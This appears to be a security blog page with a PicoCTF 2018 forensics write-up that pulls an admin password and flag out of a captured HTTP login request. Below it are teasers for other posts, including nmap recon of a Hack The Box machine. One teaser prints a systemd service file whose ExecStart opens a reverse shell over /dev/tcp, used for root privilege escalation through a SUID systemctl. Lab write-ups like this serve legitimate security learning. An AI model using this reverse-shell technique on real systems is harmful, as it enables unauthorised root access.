PicoCTF2018 - Forensics

PicoCTF2018 - Forensics - admin panel

PicoCTF2018 - Forensics - admin panel

Objective:

We captured some traffic [1] logging into the admin panel, can you find the password

Solution:

Downloaded the file and opened with wireshark

towards the bottom of the capture I saw where the admin panel is being displayed.
I found the next POST up in the log and found the password

)ßò )yÜÄEö|@@ºÀ¨À¨~P0].[¾åT
ð×wPOST /login HTTP/1.1
Host: 192.168.3.128
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.3.128/
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: keep-alive
Upgrade-Insecure-Requests: 1

user=admin&password=picoCTF{n0ts3cur3_9feedfbc}

Comments

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open http Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics - Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

circusmonkey404's Security Site

Search This Blog